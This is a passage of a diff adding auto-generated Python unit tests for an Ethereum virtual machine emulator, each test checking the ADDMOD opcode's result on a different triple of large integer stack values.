+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301023L])
+
+    def test_ADDMOD_358(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301039L])
+
+    def test_ADDMOD_359(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301055L])
+
+    def test_ADDMOD_360(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718656L])
+
+    def test_ADDMOD_361(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_ADDMOD_362(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_363(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_364(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_ADDMOD_365(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_366(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_367(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_368(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_369(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_370(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300798L])
+
+    def test_ADDMOD_371(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_372(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_373(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301023L])
+
+    def test_ADDMOD_374(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_375(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_376(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_377(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_378(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_379(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300814L])
+
+    def test_ADDMOD_380(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_381(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_382(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301039L])
+
+    def test_ADDMOD_383(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_384(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_385(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_386(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
